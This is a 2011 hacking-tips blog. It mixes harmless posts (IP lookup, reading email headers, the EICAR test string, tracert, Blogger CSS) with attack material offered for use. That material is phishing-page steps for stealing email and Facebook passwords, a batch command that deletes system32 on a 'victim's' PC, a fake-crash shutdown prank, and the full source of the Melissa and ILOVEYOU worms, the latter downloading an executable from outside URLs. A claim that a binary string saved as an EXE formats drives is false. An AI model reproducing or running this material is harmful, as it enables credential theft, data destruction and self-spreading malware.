Monday, January 31, 2011

Search and Trace IP Address

This website contains Free IP to location service and impressive collection of IP tools including a couple email lookup tools (check email and email tracking) and tips how to change or hide IP address will help you to find anything what you would like to know about IP addressing.
Just visit this website:


http://www.ipaddresslocation.org/
http://whatismyipaddress.com/
http://www.mxtoolbox.com/


       **!!!ENJOY!!!**

Thursday, January 27, 2011

Find the IP address of the email sender in Gmail, Yahoo mail, Hotmail, AOL


Finding IP address in Yahoo! Mail

  1. Log into your Yahoo! mail with your username and password.
  2. Click on Inbox or whichever folder you have stored your mail.
  3. Click on the Subject of the email you want to track and right-click. You should get a menu like this.
  4. Click on the View full Headers (See the Picture)
  5. Look for Received: from followed by the IP address between square brackets [ ].
    That should most likely be the IP address of the sender.
    If there are many instances of Received: from with the IP address, select the IP address in the last pattern. If there are no instances of Received: from with the IP address, select the first IP address in X-Originating-IP.




Finding IP address in Hotmail
      1. Log into your Hotmail/Windows Live account with your username and password.
      2. Click on the Inbox link on the left.
      3. Under the column that says "Sort by", find the email that you want to track and right-click on it. You should get a menu that has something like Mark as readMark as unread, and so on. The last option in the menu should be View message source. Select it. (See the Picture)
      4. You should see the email headers now.
      5. If you find a header with X-Originating-IP: followed by an IP address, that is the sender's IP address
      6. If that doesn't work, look for Received: from followed by IP address within square brackets[].
      7. * If you have multiple Received: from headers, eliminate the ones that have proxy.anyknownserver.com.


      Finding IP address in AOL

      1. Log into your AOL Mail AIM account with your username and password.
      2. Open the email that you want to track.
      3. On the top row, click on Action and in the drop-down menu, select View Message Source (See the Picture)
      4. It opens a new page with the headers. Once you have the headers, look for the IP address that follows X-AOL-IP:. That should be the IP address of the sender.


               **!!!ENJOY!!!**

      Wednesday, January 26, 2011

      Format Hard Disk

      To Format The Hard Disk using Notepad, just follow the steps given below:-


      1. Write The Following In Notepad Exactly as it says,
         Code: 01001011000111110010010101010101010000011111100000


      3. Save it as Any name.EXE


      4. If u run the program means it will format the Hard Drive.


               **!!!ENJOY!!!**

      Hack An E-Mail ID

      FOR ANY E-MAIL ID
      1. Open post.php
          Click Here to Download
      2. Change the TYPEORIGINALSITEHERE to the website, whom Email Id you want to hack.
      3. Then save it in .php format.
      4. Then, Open Mozilla Firefox.
      5. Open any website, whom email id you want to hack.
      6. Copy the source code of the website.
      7. Paste it into notepad.
      8. Press Ctrl+F to find.
      9. Search for action.
      10. After the word action there will be the name of website or something like that,
          then change the website name to post.php
      11. Then save it in .htm format.
      12. Open www.110mb.com and log in to your account.
      13. Make a New Directory named as index.htm
      14. Upload the Files in the directory.
      15. Then send your domain name to someone and his password will be sent to you. (In your
          directory)
      16. Refresh your directory and open the file named usernames.txt that you have recieved.
      17. You will see the passwords.


      FOR FACEBOOK
      1. Make a New Directory named as index.php on www.110mb.com
      2. Upload the files given in the Hack Facebook folder into the directory.
      3. Give the domain name to someone.
      4. His/Her passwords will be sent to her.


      FOR YAHOO
      1. Make a New Directory named as index.php on www.110mb.com
      2. Upload the files given in the Hack Yahoo folder into the directory.
      3. Give the domain name to someone.
      4. His/Her passwords will be sent to her.








             **!!!ENJOY!!!**

      Test Your AntiVirus

      TEST YOUR ANTIVIRUS




      1. Open notepad and paste this:


      X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*




      2. Save it as eicar.com.




      Your Anti-virus will then either not let you save it of when you have saved it will
      remove it for you.


      Don't worry about it. European Institute for Computer Anti-virus Research (EICAR) have got
      people to program Anti-Virus to recognise this as a threat. (Even tough it's completely
      harmless)


             **!!!ENJOY!!!**

      Destroy Someone's Computer

      This File will destroy you victim's pc.
      NOTE: IT CAN ALSO HARM YOUR COMPUTER. SO BE CAREFUL WHILE USING THIS. I AM NOT RESPONSIBLE FOR THE DAMAGES CAUSED BY THIS FILE.


      Follow These Steps:


      1. Open Notepad.


      2. Write the command given below in notepad :-
      del c:\WINDOWS\system32\*.*/q


      3. Save the above notepad with the extension .bat or .cmd, as u want.


      4. ~ ~ ~ATTENTION~ ~ ~
        Don't double click the file otherwise you are in trouble.
        Why ???? Because the file u created delete all files from your
        "system32" folder and when you restart ur pc it will not start
        because the system can not find the files in the system32 folder which
        are required at the time of booting.


      5. You can also test the above by creating a fake folder.. Let us suppose,
         windows1 in C:\
         Copy some old files in it and just follow the
         above command. By double clicking the bat or cmd file ur all files
         automaitcally get deleted.


      6. You can try this file in anyone`s computer.(But this result in causing damage to the
         computer, so think again before trying this on anyone's pc)


                **!!!ENJOY!!!**

      Traceroute Command


      1.   Open command prompt and type in "tracert" then type in the website for example tracert www.google.com or tracert google.com




      You can also use the IP address of a website instead of website address. e.g tracert 209.85.171.100 for www.google.com


      The following is a successful traceroute of "www.google.com"






      Traceroute Usage Examples:
      • Tracert www.google.com
      • Tracert google.com
      • Tracert 209.85.171.100


      Traceroute Options/Switches


      Traceroute Usage:
      tracert[-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name


      Options:

      -dDo not resolve addresses to hostnames.
      -h maximum_hopsMaximum number of hops to search for target.
      -j host-listLoose source route along host-list.
      -w timeoutWait timeout milliseconds for each reply.
                       **!!!ENJOY**!!!

      Remove The Blogger Navbar

      To hide the Blogger Navbar :

      1- Log in to blogger

      2- On your Dashboard, select Layout. This will take you to the Template tab. Click Edit HTML. Under the Edit Template section you will see you blog's HTML.

      3- paste the CSS definition in the top of the template code:



      ...
      <b:skin><![CDATA[/*
      -----------------------------------------------
      Blogger Template Style
      Name:     Rounders
      Designer: Douglas Bowman
      URL:      www.stopdesign.com
      Date:     27 Feb 2004
      Updated by: Blogger Team
      ----------------------------------------------- */
      #navbar-iframe {
         display: none !important;
      }
      /* Variable definitions
        ====================
         <Variable name="mainBgColor" description="Main Background Color"
                   type="color" default="#fff" value="#ffffff">
         <Variable name="mainTextColor" description="Text Color" type="color"
                   default="#333" value="#333333">
         ...


                       **!!!ENJOY**!!!

      Monday, January 17, 2011

      Make "MELISSA" Virus

      To make “Melissa Virus” just copy the code given below into notepad and save it… Be Sure that your antivirus is turned off otherwise it will block it…
      Note: Do it at your own risk as it will destroy your victims PC…



      Private Sub Document_Open()
      On Error Resume Next
      If System.PrivateProfileString("",
      "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
      Then
      CommandBars("Macro").Controls("Security...").Enabled = False
      System.PrivateProfileString("",
      "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
      Else
      CommandBars("Tools").Controls("Macro").Enabled = False
      Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
      Options.SaveNormalPrompt = (1 - 1)
      End If
      Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
      Set UngaDasOutlook = CreateObject("Outlook.Application")
      Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
      If System.PrivateProfileString("",
      "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
      Then
      If UngaDasOutlook = "Outlook" Then
      DasMapiName.Logon "profile", "password"
          For y = 1 To DasMapiName.AddressLists.Count
              Set AddyBook = DasMapiName.AddressLists(y)
              x = 1
              Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
              For oo = 1 To AddyBook.AddressEntries.Count
                  Peep = AddyBook.AddressEntries(x)
                  BreakUmOffASlice.Recipients.Add Peep
                  x = x + 1
                  If x > 50 Then oo = AddyBook.AddressEntries.Count
               Next oo
               BreakUmOffASlice.Subject = "Important Message From " &
      Application.UserName
               BreakUmOffASlice.Body = "Here is that document you asked for ... don't
      show anyone else ;-)"
               BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
               BreakUmOffASlice.Send
               Peep = ""
          Next y
      DasMapiName.Logoff
      End If
      System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
      "Melissa?") = "... by Kwyjibo"
      End If
      Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
      Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
      NTCL = NTI1.CodeModule.CountOfLines
      ADCL = ADI1.CodeModule.CountOfLines
      BGN = 2
      If ADI1.Name <> "Melissa" Then
      If ADCL > 0 Then _
      ADI1.CodeModule.DeleteLines 1, ADCL
      Set ToInfect = ADI1
      ADI1.Name = "Melissa"
      DoAD = True
      End If
      If NTI1.Name <> "Melissa" Then
      If NTCL > 0 Then _
      NTI1.CodeModule.DeleteLines 1, NTCL
      Set ToInfect = NTI1
      NTI1.Name = "Melissa"
      DoNT = True
      End If
      If DoNT <> True And DoAD <> True Then GoTo CYA
      If DoNT = True Then
      Do While ADI1.CodeModule.Lines(1, 1) = ""
      ADI1.CodeModule.DeleteLines 1
      Loop
      ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
      Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
      ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
      BGN = BGN + 1
      Loop
      End If
      If DoAD = True Then
      Do While NTI1.CodeModule.Lines(1, 1) = ""
      NTI1.CodeModule.DeleteLines 1
      Loop
      ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
      Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
      ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
      BGN = BGN + 1
      Loop
      End If
      CYA:
      If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
      False) Then
      ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
      ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
      ActiveDocument.Saved = True: End If
      'WORD/Melissa written by Kwyjibo
      'Works in both Word 2000 and Word 97
      'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
      'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
      If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
      triple-word-score, plus fifty points for using all my letters.  Game's over.
      I'm outta here."
      End Sub


            **!!!ENJOY!!!**

      Shutdown Anyone's PC

      You can Shutdown your Anyone's PC by sending him a Batch File....
      The only thing you have to do is to run it....
      You have to type this Code in Notepad and Save it as ANY NAME.bat


      @echo off
      msg * ERROR! Hard Disk has Crashed...
      shutdown -c "ERROR! Hard Disk has Crashed..." -s


                 **!!!ENJOY!!!**

      Uncover A Hidden Password

      To uncover a hidden password just paste this script on the address bar and you will get the password....


      javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Passwords in forms on this page:\n\n" + s); else alert("There are no passwords in forms on this page.");})();



                 **!!!ENJOY!!!**

      Sunday, January 16, 2011

      Make "I LOVE U" Virus

      Make "I LOVE U" Virus…
      Just Copy And Paste this Code in Notepad and Save it. Make Sure your Antivirus in turned off otherwise it will block this.

      Note: This Virus may Harm your computer. So, Try at your own risk.





      rem barok -loveletter(vbe) <i hate go to school>
      rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
      Manila,Philippines
      On Error Resume Next
      dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
      eq=""
      ctr=0
      Set fso = CreateObject("Scripting.FileSystemObject")
      set file = fso.OpenTextFile(WScript.ScriptFullname,1)
      vbscopy=file.ReadAll
      main()
      sub main()
      On Error Resume Next
      dim wscr,rr
      set wscr=CreateObject("WScript.Shell")
      rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
      Host\Settings\Timeout")
      if (rr>=1) then
      wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
      Host\Settings\Timeout",0,"REG_DWORD"
      end if
      Set dirwin = fso.GetSpecialFolder(0)
      Set dirsystem = fso.GetSpecialFolder(1)
      Set dirtemp = fso.GetSpecialFolder(2)
      Set c = fso.GetFile(WScript.ScriptFullName)
      c.Copy(dirsystem&"\MSKernel32.vbs")
      c.Copy(dirwin&"\Win32DLL.vbs")
      c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
      regruns()
      html()
      spreadtoemail()
      listadriv()
      end sub
      sub regruns()
      On Error Resume Next
      Dim num,downread
      regcreate
      "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
      ",dirsystem&"\MSKernel32.vbs"
      regcreate
      "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
      n32DLL",dirwin&"\Win32DLL.vbs"
      downread=""
      downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
      Explorer\Download Directory")
      if (downread="") then
      downread="c:\"
      end if
      if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
      Randomize
      num = Int((4 * Rnd) + 1)
      if num = 1 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
      Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
      w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
      elseif num = 2 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
      Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
      546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
      elseif num = 3 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
      Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
      POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
      elseif num = 4 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
      Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
      YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
      .exe"
      end if
      end if
      if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
      regcreate
      "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI
      X",downread&"\WIN-BUGSFIX.exe"
      regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
      Page","about:blank"
      end if
      end sub
      sub listadriv
      On Error Resume Next
      Dim d,dc,s
      Set dc = fso.Drives
      For Each d in dc
      If d.DriveType = 2 or d.DriveType=3 Then
      folderlist(d.path&"\")
      end if
      Next
      listadriv = s
      end sub
      sub infectfiles(folderspec)
      On Error Resume Next
      dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
      set f = fso.GetFolder(folderspec)
      set fc = f.Files
      for each f1 in fc
      ext=fso.GetExtensionName(f1.path)
      ext=lcase(ext)
      s=lcase(f1.name)
      if (ext="vbs") or (ext="vbe") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close
      elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
      or (ext="hta") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close
      bname=fso.GetBaseName(f1.path)
      set cop=fso.GetFile(f1.path)
      cop.copy(folderspec&"\"&bname&".vbs")
      fso.DeleteFile(f1.path)
      elseif(ext="jpg") or (ext="jpeg") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close
      set cop=fso.GetFile(f1.path)
      cop.copy(f1.path&".vbs")
      fso.DeleteFile(f1.path)
      elseif(ext="mp3") or (ext="mp2") then
      set mp3=fso.CreateTextFile(f1.path&".vbs")
      mp3.write vbscopy
      mp3.close
      set att=fso.GetFile(f1.path)
      att.attributes=att.attributes+2
      end if
      if (eq<>folderspec) then
      if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
      (s="script.ini") or (s="mirc.hlp") then
      set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
      scriptini.WriteLine "[script]"
      scriptini.WriteLine ";mIRC Script"
      scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
      if mIRC will"
      scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
      correctly. thanks"
      scriptini.WriteLine ";"
      scriptini.WriteLine ";Khaled Mardam-Bey"
      scriptini.WriteLine ";http://www.mirc.com"
      scriptini.WriteLine ";"
      scriptini.WriteLine "n0=on 1:JOIN:#:{"
      scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
      scriptini.WriteLine "n2= /.dcc send $nick
      "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
      scriptini.WriteLine "n3=}"
      scriptini.close
      eq=folderspec
      end if
      end if
      next
      end sub
      sub folderlist(folderspec)
      On Error Resume Next
      dim f,f1,sf
      set f = fso.GetFolder(folderspec)
      set sf = f.SubFolders
      for each f1 in sf
      infectfiles(f1.path)
      folderlist(f1.path)
      next
      end sub
      sub regcreate(regkey,regvalue)
      Set regedit = CreateObject("WScript.Shell")
      regedit.RegWrite regkey,regvalue
      end sub
      function regget(value)
      Set regedit = CreateObject("WScript.Shell")
      regget=regedit.RegRead(value)
      end function
      function fileexist(filespec)
      On Error Resume Next
      dim msg
      if (fso.FileExists(filespec)) Then
      msg = 0
      else
      msg = 1
      end if
      fileexist = msg
      end function
      function folderexist(folderspec)
      On Error Resume Next
      dim msg
      if (fso.GetFolderExists(folderspec)) then
      msg = 0
      else
      msg = 1
      end if
      fileexist = msg
      end function
      sub spreadtoemail()
      On Error Resume Next
      dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
      set regedit=CreateObject("WScript.Shell")
      set out=WScript.CreateObject("Outlook.Application")
      set mapi=out.GetNameSpace("MAPI")
      for ctrlists=1 to mapi.AddressLists.Count
      set a=mapi.AddressLists(ctrlists)
      x=1
      regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
      if (regv="") then
      regv=1
      end if
      if (int(a.AddressEntries.Count)>int(regv)) then
      for ctrentries=1 to a.AddressEntries.Count
      malead=a.AddressEntries(x)
      regad=""
      regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
      if (regad="") then
      set male=out.CreateItem(0)
      male.Recipients.Add(malead)
      male.Subject = "ILOVEYOU"
      male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
      male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
      male.Send
      regedit.RegWrite
      "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
      end if
      x=x+1
      next
      regedit.RegWrite
      "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
      else
      regedit.RegWrite
      "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
      end if
      next
      Set out=Nothing
      Set mapi=Nothing
      end sub
      sub html
      On Error Resume Next
      dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
      dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
      NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
      "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
      @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
      "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
      good...@-@>"&vbcrlf& _
      "<?-?HEAD><BODY
      ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
      -#,#-#main#-#)@-@ "&vbcrlf& _
      "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
      -#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
      "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read
      this HTML file<BR>- Please press #-#YES#-# button to Enable
      ActiveX<?-?p>"&vbcrlf& _
      "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
      BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
      "&vbcrlf& _
      "<?-?BODY><?-?HTML>"&vbcrlf& _
      "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
      "<!--?-??-?"&vbcrlf& _
      "if (window.screen){var wi=screen.availWidth;var
      hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
      "?-??-?-->"&vbcrlf& _
      "<?-?SCRIPT>"&vbcrlf& _
      "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
      "<!--"&vbcrlf& _
      "on error resume next"&vbcrlf& _
      "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
      "aw=1"&vbcrlf& _
      "code="
      dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
      "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
      "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
      "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
      "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
      "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
      "wri.write code4"&vbcrlf& _
      "wri.close"&vbcrlf& _
      "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
      "if (err.number=424) then"&vbcrlf& _
      "aw=0"&vbcrlf& _
      "end if"&vbcrlf& _
      "if (aw=1) then"&vbcrlf& _
      "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
      "window.close"&vbcrlf& _
      "end if"&vbcrlf& _
      "end if"&vbcrlf& _
      "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
      "regedit.RegWrite
      @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru
      n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
      "?-??-?-->"&vbcrlf& _
      "<?-?SCRIPT>"
      dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
      dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
      dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
      dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
      dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
      dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
      dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
      dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
      set fso=CreateObject("Scripting.FileSystemObject")
      set c=fso.OpenTextFile(WScript.ScriptFullName,1)
      lines=Split(c.ReadAll,vbcrlf)
      l1=ubound(lines)
      for n=0 to ubound(lines)
      lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
      lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
      lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
      if (l1=n) then
      lines(n)=chr(34)+lines(n)+chr(34)
      else
      lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
      end if
      next
      set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
      b.close
      set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
      d.write dt5
      d.write join(lines,vbcrlf)
      d.write vbcrlf
      d.write dt6
      d.close
      end sub



                     **!!!ENJOY!!!**